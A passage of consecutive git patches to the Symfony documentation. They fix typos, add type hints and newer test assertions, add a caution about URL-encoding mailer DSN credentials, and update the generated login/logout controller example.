@@ -38,8 +38,8 @@ tags as needed:
     {#
         May now render multiple script tags:
             <script src="/build/runtime.js"></script>
-            <script src="/build/homepage.js"></script>
             <script src="/build/vendor~homepage.js"></script>
+            <script src="/build/homepage.js"></script>
     #}
     {{ encore_entry_script_tags('homepage') }}
 

From e1da71c4d09074dd9eb77fdfdd3c151a66f99057 Mon Sep 17 00:00:00 2001
From: Nik Spijkerman <nspyke@users.noreply.github.com>
Date: Sun, 14 Jun 2020 15:07:30 +1200
Subject: [PATCH 0876/7107] Added a caution about encoding DSN credentials

---
 components/mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/mailer.rst b/components/mailer.rst
index f4290bed825..17dba79643c 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -102,6 +102,11 @@ For third-party providers, refer to the following table:
  Sendgrid             sendgrid+smtp://apikey:KEY@default         n/a                                         sendgrid+api://KEY@default
 ==================== ========================================== =========================================== ========================================
 
+.. caution::
+
+    If your credentials contain special characters, they must be provided to the DSN in URL encoded form.  
+    e.g. The DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
+
 Instead of choosing a specific protocol, you can also let Symfony pick the
 best one by omitting it from the scheme: for instance, ``mailgun://KEY:DOMAIN@default``
 is equivalent to ``mailgun+https://KEY:DOMAIN@default``.

From 32f67cada1507363e587b5aaf8278e7a1422704c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jun 2020 11:16:37 +0200
Subject: [PATCH 0877/7107] Minor tweak

---
 components/mailer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/mailer.rst b/components/mailer.rst
index 17dba79643c..30b8d146ab0 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -104,8 +104,9 @@ For third-party providers, refer to the following table:
 
 .. caution::
 
-    If your credentials contain special characters, they must be provided to the DSN in URL encoded form.  
-    e.g. The DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
+    If your credentials contain special characters, you must URL-encode them.
+    For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
+    configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
 Instead of choosing a specific protocol, you can also let Symfony pick the
 best one by omitting it from the scheme: for instance, ``mailgun://KEY:DOMAIN@default``

From 295d5537deee8c1873cddd3f02d692a3108fea1d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jun 2020 11:24:03 +0200
Subject: [PATCH 0878/7107] Fixed other config errors

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f9776c47ee7..b675896b81f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2039,10 +2039,10 @@ performance a bit:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:translation>
+                <framework:translator>
                     <enabled-locale>en</enabled-locale>
                     <enabled-locale>es</enabled-locale>
-                </framework:translation>
+                </framework:translator>
             </framework:config>
         </container>
 
@@ -2050,7 +2050,7 @@ performance a bit:
 
         // config/packages/translation.php
         $container->loadFromExtension('framework', [
-            'translation' => [
+            'translator' => [
                 'enabled_locales' => ['en', 'es'],
             ],
         ]);

From de04b16e11145fe708a4a41ab459f92d3d86bac0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jun 2020 11:49:42 +0200
Subject: [PATCH 0879/7107] Minor tweak

---
 configuration/env_var_processors.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 0394a18abf4..f9191d6ede9 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -96,7 +96,8 @@ Symfony provides the following env var processors:
             ]);
 
 ``env(bool:FOO)``
-    Casts ``FOO`` to a bool (true values are `'true'`, `'on'`, `'yes'` and all numers unequal to `0`, everything else is false):
+    Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
+    and all numbers except ``0`` and ``0.0``; everything else is ``false``):
 
     .. configuration-block::
 

From 6a4f6c8c91dd7bd1dcd6defa339abe46f2cbd07a Mon Sep 17 00:00:00 2001
From: Jeroen Noten <jeroennoten@me.com>
Date: Fri, 19 Jun 2020 15:10:18 +0200
Subject: [PATCH 0880/7107] Fix typo in 'How to Configure Monolog to Email
 Errors'

---
 logging/monolog_email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 22be5877228..b2acaadb712 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -141,7 +141,7 @@ is then passed onto the ``deduplicated`` handler.
 The ``deduplicated`` handler keeps all the messages for a request and then
 passes them onto the nested handler in one go, but only if the records are
 unique over a given period of time (60 seconds by default). If the records are
-duplicates they are discarded. Adding this handler reduces the amount of
+duplicated they are discarded. Adding this handler reduces the amount of
 notifications to a manageable level, specially in critical failure scenarios.
 You can adjust the time period using the ``time`` option:
 

From 082adb5712f907ff4cd477576a659f0bf9a5588d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jun 2020 17:06:37 +0200
Subject: [PATCH 0881/7107] [DI] Document param() and abstract_arg()

---
 components/dependency_injection.rst | 3 ++-
 service_container.rst               | 2 +-
 service_container/tags.rst          | 6 ++++--
 3 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index ef2c449e23f..4cdfcd3ea90 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -299,7 +299,8 @@ config files:
             $services = $configurator->services();
 
             $services->set('mailer', 'Mailer')
-                ->args(['%mailer.transport%'])
+                // the param() method was introduced in Symfony 5.2.
+                ->args([param('mailer.transport')])
             ;
 
             $services->set('newsletter_manager', 'NewsletterManager')
diff --git a/service_container.rst b/service_container.rst
index bbbab8a6933..57440ccc724 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1116,7 +1116,7 @@ admin email. In this case, each needs to have a unique service id:
                 ->args([
                    service(MessageGenerator::class),
                    service('mailer'),
-                    'superadmin@example.com',
+                   'superadmin@example.com',
                 ]);
 
             $services->set('site_update_manager.normal_users', SiteUpdateManager::class)
diff --git a/service_container/tags.rst b/service_container/tags.rst
index ff56d90c73f..2819c1bd267 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -273,7 +273,8 @@ For example, you may add the following transports as services:
             $services = $configurator->services();
 
             $services->set(\Swift_SmtpTransport::class)
-                ->args(['%mailer_host%'])
+                // the param() method was introduced in Symfony 5.2.
+                ->args([param('mailer_host')])
                 ->tag('app.mail_transport')
             ;
 
@@ -437,7 +438,8 @@ To answer this, change the service declaration:
             $services = $configurator->services();
 
             $services->set(\Swift_SmtpTransport::class)
-                ->args(['%mailer_host%'])
+                // the param() method was introduced in Symfony 5.2.
+                ->args([param('mailer_host')])
                 ->tag('app.mail_transport', ['alias' => 'smtp'])
             ;
 

From bc8650fc7df265a7e478bcb13150c38b5af78b40 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jun 2020 17:11:15 +0200
Subject: [PATCH 0882/7107] [Notifier] Removed some restriction

---
 notifier.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 4db058ee6a0..39e80aac006 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -294,7 +294,7 @@ transport:
                         %env(SLACK_DSN)% || %env(TELEGRAM_DSN)%
                     </framework:chatter-transport>
 
-                    <!-- Send notifications to the next scheduled transport 
+                    <!-- Send notifications to the next scheduled transport
                          calculated by round robin -->
                     <framework:chatter-transport name="slack">
                         %env(SLACK_DSN)% && %env(TELEGRAM_DSN)%
@@ -365,8 +365,7 @@ To send a notification, autowire the
 The ``Notification`` is created by using two arguments: the subject and
 channels. The channels specify which channel (or transport) should be used
 to send the notification. For instance, ``['email', 'sms']`` will send
-both an email and sms notification to the user. It is required to specify
-the transport when using chatters (e.g. ``['email', 'chat/telegram']``).
+both an email and sms notification to the user.
 
 The default notification also has a ``content()`` and ``emoji()`` method to
 set the notification content and icon.

From 13c4064fa9ef19bf2e6e1d31f48f76ed35f0e54c Mon Sep 17 00:00:00 2001
From: Cosmic Mac <CosmicMac@users.noreply.github.com>
Date: Fri, 19 Jun 2020 18:38:37 +0200
Subject: [PATCH 0883/7107] Change wrong attribute value in WSDL example

xmlns:tns="urn:arnleadservicewsdl" must be replaced by xmlns:tns="urn:helloservicewsdl" (see targetNamespace)
---
 controller/soap_web_service.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index a4447c46a5e..4bbda5f2db6 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -112,7 +112,7 @@ An example WSDL is below.
         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
-        xmlns:tns="urn:arnleadservicewsdl"
+        xmlns:tns="urn:helloservicewsdl"
         xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
         xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
         xmlns="http://schemas.xmlsoap.org/wsdl/"

From 1534b7b01aa478b5d09efec9de5ec6eeeaed4f97 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sun, 21 Jun 2020 16:44:47 +0200
Subject: [PATCH 0884/7107] Update sessions.rst

---
 components/http_foundation/sessions.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 32f85109826..b1107bb3ab0 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -151,6 +151,9 @@ the following API which is intended mainly for internal purposes:
 :method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::getName`
     Returns the name of the session bag.
 
+:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::clear`
+    Clears out data from bag.
+
 .. _attribute-bag-interface:
 
 Attributes

From b5a2a89c7e8e27e8b84762d47b2d7c151a403e53 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sun, 21 Jun 2020 23:39:03 +0200
Subject: [PATCH 0885/7107] Update error_pages.rst

---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 1b05c2745c4..0636d389251 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -317,7 +317,7 @@ error pages.
 
 .. note::
 
-    If your listener calls ``setResponse()`` on the
+    If your listener calls ``setThrowable()`` on the
     :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`,
     event, propagation will be stopped and the response will be sent to
     the client.

From 39541b28eb48e5fb04e17493c36882537886f569 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sun, 21 Jun 2020 23:56:25 +0200
Subject: [PATCH 0886/7107] Update upload_file.rst

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 9e98ee1da47..9a5c14436c3 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -311,7 +311,7 @@ Then, define a service for this class:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
             <!-- ... -->
 
-            <service id="App\FileUploader">
+            <service id="App\Service\FileUploader">
                 <argument>%brochures_directory%</argument>
             </service>
         </container>

From 59d1dfdfb1926c1b0fe1193cc5569f034e002eee Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Mon, 22 Jun 2020 01:07:50 +0200
Subject: [PATCH 0887/7107] Update database.rst

---
 session/database.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index 30c6410275a..587df14bae3 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -204,7 +204,7 @@ first register a new handler service with your database credentials:
 
             <services>
                 <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>env(DATABASE_URL)</argument>
+                    <argument>%env(DATABASE_URL)%</argument>
 
                     <!-- you can also use PDO configuration, but requires passing two arguments: -->
                     <!-- <argument>mysql:dbname=mydatabase, host=myhost</argument>
@@ -296,7 +296,7 @@ passed to the ``PdoSessionHandler`` service:
 
             <services>
                 <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>env(DATABASE_URL)</argument>
+                    <argument>%env(DATABASE_URL)%</argument>
                     <argument type="collection">
                         <argument key="db_table">customer_session</argument>
                         <argument key="db_id_col">guid</argument>

From 577ab9fe9d34c4d302386c4808fefa3089890531 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 21 Jun 2020 20:00:32 +0200
Subject: [PATCH 0888/7107] Update testing.rst

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 701b79dd1a3..9c3c1f79bb2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -100,7 +100,7 @@ of your application::
 .. note::
 
     By convention, the ``tests/`` directory should replicate the directory
-    of your bundle for unit tests. So, if you're testing a class in the
+    of your application for unit tests. So, if you're testing a class in the
     ``src/Util/`` directory, put the test in the ``tests/Util/``
     directory.
 

From 473fdc26725f380d8a5aca2d9aa2c30dde1c3972 Mon Sep 17 00:00:00 2001
From: "heddi.nabbisen" <nabbisen@scqr.net>
Date: Wed, 17 Jun 2020 21:04:35 +0900
Subject: [PATCH 0889/7107] update sass-loader version printed in symfony 5.1

---
 frontend/encore/simple-example.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3246e63da25..aaf543a11fb 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -306,14 +306,14 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & node-sass to use enableSassLoader()
-    >     yarn add sass-loader@^7.0.1 node-sass --dev
+    >     yarn add sass-loader@^8.0.0 node-sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
 .. code-block:: terminal
 
-    $ yarn add sass-loader@^7.0.1 node-sass --dev
+    $ yarn add sass-loader@^8.0.0 node-sass --dev
     $ yarn encore dev --watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From 2770c09be12ef8794a97dfe9380eb9723b1e46f4 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Mon, 22 Jun 2020 12:55:16 +0200
Subject: [PATCH 0890/7107] Update cache_invalidation.rst

---
 http_cache/cache_invalidation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index b47b6790989..14b91e8cb1c 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -60,7 +60,7 @@ to support the ``PURGE`` HTTP method::
 
     class CacheKernel extends HttpCache
     {
-        protected function invalidate(Request $request, $catch = false)
+        protected function invalidate(Request $request, bool $catch = false)
         {
             if ('PURGE' !== $request->getMethod()) {
                 return parent::invalidate($request, $catch);

From 9ed468d5cd88c574528f8fe949273fed84a55f6f Mon Sep 17 00:00:00 2001
From: YaFou <33806646+YaFou@users.noreply.github.com>
Date: Mon, 22 Jun 2020 18:41:41 +0200
Subject: [PATCH 0891/7107] [Serializer] Adds FormErrorNormalizer

---
 components/serializer.rst  | 6 ++++++
 serializer.rst             | 3 +++
 serializer/normalizers.rst | 3 +++
 3 files changed, 12 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 19de72afaba..cdc27458e7e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -731,6 +731,12 @@ There are several types of normalizers available:
     This normalizer converts :phpclass:`DateInterval` objects into strings.
     By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
+    This normalizer works with classes that implement
+    :class:`Symfony\\Component\\Form\\FormInterface`.
+
+    It will get errors from the form and normalize them into an normalized array.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
     This normalizer converts objects that implement
     :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
diff --git a/serializer.rst b/serializer.rst
index b8c1e5ff18c..7645a1f228f 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -67,6 +67,9 @@ As well as the following normalizers:
   for :phpclass:`DateInterval` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
   transform :phpclass:`SplFileInfo` objects in `Data URIs`_
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for
+  objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to
+  normalize form errors.
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
   to deal with objects implementing the :phpclass:`JsonSerializable` interface
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 5aef4568dc6..002cc02a433 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -36,6 +36,9 @@ Symfony includes the following normalizers but you can also
   transform :phpclass:`SplFileInfo` objects in `Data URIs`_
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for
+  objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to
+  normalize form errors.
   :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
   normalize PHP object using the getter and setter methods of the object;

From eba5008930db21a1d9ebe85e869d264596419123 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Mon, 22 Jun 2020 19:59:00 +0200
Subject: [PATCH 0892/7107] Typehint Testing

---
 testing.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index cf176b27e9d..b5dc695c05e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -393,13 +393,13 @@ returns a ``Crawler`` instance.
     The full signature of the ``request()`` method is::
 
         request(
-            $method,
-            $uri,
+            string $method,
+            string $uri,
             array $parameters = [],
             array $files = [],
             array $server = [],
-            $content = null,
-            $changeHistory = true
+            string $content = null,
+            bool $changeHistory = true
         )
 
     The ``server`` array is the raw values that you'd expect to normally

From 3586d6b8c6cac42f95135ee5c170cec42fc6f519 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Mon, 22 Jun 2020 22:23:30 +0200
Subject: [PATCH 0893/7107] Update http_kernel.rst

---
 components/http_kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 7b13883a94a..d2e3ac44e75 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -65,8 +65,8 @@ that system::
          */
         public function handle(
             Request $request,
-            $type = self::MASTER_REQUEST,
-            $catch = true
+            int $type = self::MASTER_REQUEST,
+            bool $catch = true
         );
     }
 

From 6630a9948593203e135158eaad377bbffcd59ec4 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Mon, 22 Jun 2020 22:31:52 +0200
Subject: [PATCH 0894/7107] Update http_kernel.rst

---
 components/http_kernel.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 7b13883a94a..79e6dcd504c 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -533,7 +533,7 @@ exception and create an appropriate error ``Response``.
 For example, to generate a 404 page, you might throw a special type of exception
 and then add a listener on this event that looks for this exception and
 creates and returns a 404 ``Response``. In fact, the HttpKernel component
-comes with an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ExceptionListener`,
+comes with an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`,
 which if you choose to use, will do this and more by default (see the sidebar
 below for more details).
 
@@ -547,10 +547,10 @@ below for more details).
     There are two main listeners to ``kernel.exception`` when using the
     Symfony Framework.
 
-    **ExceptionListener in the HttpKernel Component**
+    **ErrorListener in the HttpKernel Component**
 
     The first comes core to the HttpKernel component
-    and is called :class:`Symfony\\Component\\HttpKernel\\EventListener\\ExceptionListener`.
+    and is called :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`.
     The listener has several goals:
 
     1) The thrown exception is converted into a

From 394867da1e3427576207c5380be00b931d9a96b9 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Mon, 22 Jun 2020 12:31:43 +0200
Subject: [PATCH 0895/7107] Typo Testing

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 9c3c1f79bb2..30a933372ac 100644
--- a/testing.rst
+++ b/testing.rst
@@ -148,7 +148,7 @@ utilities used in the functional tests:
 Your First Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 Functional tests are PHP files that typically live in the ``tests/Controller``
-directory for your bundle. If you want to test the pages handled by your
+directory of your application. If you want to test the pages handled by your
 ``PostController`` class, start by creating a new ``PostControllerTest.php``
 file that extends a special ``WebTestCase`` class.
 

From 431c2e8c4dbd5a7aa344b6428eba8b550ea9d085 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Mon, 22 Jun 2020 19:36:24 +0200
Subject: [PATCH 0896/7107] Update testing.rst

---
 testing.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 30a933372ac..36e06647688 100644
--- a/testing.rst
+++ b/testing.rst
@@ -310,7 +310,8 @@ document::
             ),
             'the "Content-Type" header is "application/json"' // optional message shown on failure
         );
-
+        //or
+        $this->assertResponseHeaderSame('Content-Type', 'application/json', 'the "Content-Type" header is "application/json"');
         // asserts that the response content contains a string
         $this->assertContains('foo', $client->getResponse()->getContent());
         // ...or matches a regex
@@ -318,6 +319,8 @@ document::
 
         // asserts that the response status code is 2xx
         $this->assertTrue($client->getResponse()->isSuccessful(), 'response status is 2xx');
+        // ...or simply
+        $this->assertResponseIsSuccessful('response status is 2xx');
         // asserts that the response status code is 404
         $this->assertTrue($client->getResponse()->isNotFound());
         // asserts a specific 200 status code
@@ -325,7 +328,8 @@ document::
             200, // or Symfony\Component\HttpFoundation\Response::HTTP_OK
             $client->getResponse()->getStatusCode()
         );
-
+        //...or simply
+        $this->assertResponseStatusCodeSame(200);
         // asserts that the response is a redirect to /demo/contact
         $this->assertTrue(
             $client->getResponse()->isRedirect('/demo/contact')
@@ -334,7 +338,8 @@ document::
         );
         // ...or simply check that the response is a redirect to any URL
         $this->assertTrue($client->getResponse()->isRedirect());
-
+        // ...or simply
+        $this->assertResponseRedirects();
 .. _testing-data-providers:
 
 Testing against Different Sets of Data

From 27735ea89ff4f8c1ab44c83ecff2f844d74f58d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jun 2020 09:06:28 +0200
Subject: [PATCH 0897/7107] Some tweaks and rewords

---
 testing.rst | 67 +++++++++++++++++++++++++++--------------------------
 1 file changed, 34 insertions(+), 33 deletions(-)

diff --git a/testing.rst b/testing.rst
index 36e06647688..ce45021d3f1 100644
--- a/testing.rst
+++ b/testing.rst
@@ -292,54 +292,55 @@ document::
 
         // ...
 
-        // asserts that there is at least one h2 tag
-        // with the class "subtitle"
-        $this->assertGreaterThan(
-            0,
-            $crawler->filter('h2.subtitle')->count()
+        // asserts that there is at least one h2 tag with the class "subtitle"
+        // the third argument is an optional message shown on failed tests
+        $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
+            'There is at least one subtitle'
         );
 
         // asserts that there are exactly 4 h2 tags on the page
         $this->assertCount(4, $crawler->filter('h2'));
 
         // asserts that the "Content-Type" header is "application/json"
-        $this->assertTrue(
-            $client->getResponse()->headers->contains(
-                'Content-Type',
-                'application/json'
-            ),
-            'the "Content-Type" header is "application/json"' // optional message shown on failure
-        );
-        //or
-        $this->assertResponseHeaderSame('Content-Type', 'application/json', 'the "Content-Type" header is "application/json"');
+        $this->assertResponseHeaderSame('Content-Type', 'application/json');
+        // equivalent to:
+        $this->assertTrue($client->getResponse()->headers->contains(
+            'Content-Type', 'application/json'
+        ));
+
         // asserts that the response content contains a string
         $this->assertContains('foo', $client->getResponse()->getContent());
         // ...or matches a regex
         $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
 
         // asserts that the response status code is 2xx
-        $this->assertTrue($client->getResponse()->isSuccessful(), 'response status is 2xx');
-        // ...or simply
-        $this->assertResponseIsSuccessful('response status is 2xx');
-        // asserts that the response status code is 404
+        $this->assertResponseIsSuccessful();
+        // equivalent to:
+        $this->assertTrue($client->getResponse()->isSuccessful());
+
+        // asserts that the response status code is 404 Not Found
         $this->assertTrue($client->getResponse()->isNotFound());
-        // asserts a specific 200 status code
-        $this->assertEquals(
-            200, // or Symfony\Component\HttpFoundation\Response::HTTP_OK
-            $client->getResponse()->getStatusCode()
-        );
-        //...or simply
-        $this->assertResponseStatusCodeSame(200);
+
+        // asserts a specific status code
+        $this->assertResponseStatusCodeSame(201);
+        // HTTP status numbers are available as constants too:
+        // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
+        // equivalent to:
+        $this->assertEquals(201, $client->getResponse()->getStatusCode());
+
         // asserts that the response is a redirect to /demo/contact
-        $this->assertTrue(
-            $client->getResponse()->isRedirect('/demo/contact')
-            // if the redirection URL was generated as an absolute URL
-            // $client->getResponse()->isRedirect('http://localhost/demo/contact')
-        );
-        // ...or simply check that the response is a redirect to any URL
-        $this->assertTrue($client->getResponse()->isRedirect());
-        // ...or simply
+        $this->assertResponseRedirects('/demo/contact');
+        // equivalent to:
+        $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
+        // ...or check that the response is a redirect to any URL
         $this->assertResponseRedirects();
+
+.. versionadded:: 4.3
+
+    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
+    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
+    related methods were introduced in Symfony 4.3.
+
 .. _testing-data-providers:
 
 Testing against Different Sets of Data

From bccb835570cb9183f719f9811e8592f51cdd201a Mon Sep 17 00:00:00 2001
From: "heddi.nabbisen" <nabbisen@scqr.net>
Date: Thu, 18 Jun 2020 20:33:22 +0900
Subject: [PATCH 0898/7107] updated generated code according to `make:auth`
 results in Symfony 5.1

---
 security/form_login_setup.rst | 43 ++++++++++++++++++++++++++++-------
 1 file changed, 35 insertions(+), 8 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index d8c27871cce..7e82ef333a4 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -44,11 +44,11 @@ and your generated code may be slightly different:
 
     Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8.
 
-This generates the following: 1) a login route & controller, 2) a template that
+This generates the following: 1) login/logout routes & controller, 2) a template that
 renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>`
 class that processes the login submit and 4) updates the main security config file.
 
-**Step 1.** The ``/login`` route & controller::
+**Step 1.** The ``/login``/``/logout`` routes & controller::
 
     // src/Controller/SecurityController.php
     namespace App\Controller;
@@ -65,6 +65,10 @@ class that processes the login submit and 4) updates the main security config fi
          */
         public function login(AuthenticationUtils $authenticationUtils): Response
         {
+            // if ($this->getUser()) {
+            //     return $this->redirectToRoute('target_path');
+            // }
+
             // get the login error if there is one
             $error = $authenticationUtils->getLastAuthenticationError();
             // last username entered by the user
@@ -75,10 +79,17 @@ class that processes the login submit and 4) updates the main security config fi
                 'error' => $error
             ]);
         }
+
+        /**
+         * @Route("/logout", name="app_logout")
+         */
+        public function logout()
+        {
+            throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
+        }
     }
 
-Edit the ``security.yaml`` file in order to allow access for anyone to the
-``/login`` route:
+Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
 
 .. configuration-block::
 
@@ -88,9 +99,12 @@ Edit the ``security.yaml`` file in order to allow access for anyone to the
         security:
             # ...
 
-            access_control:
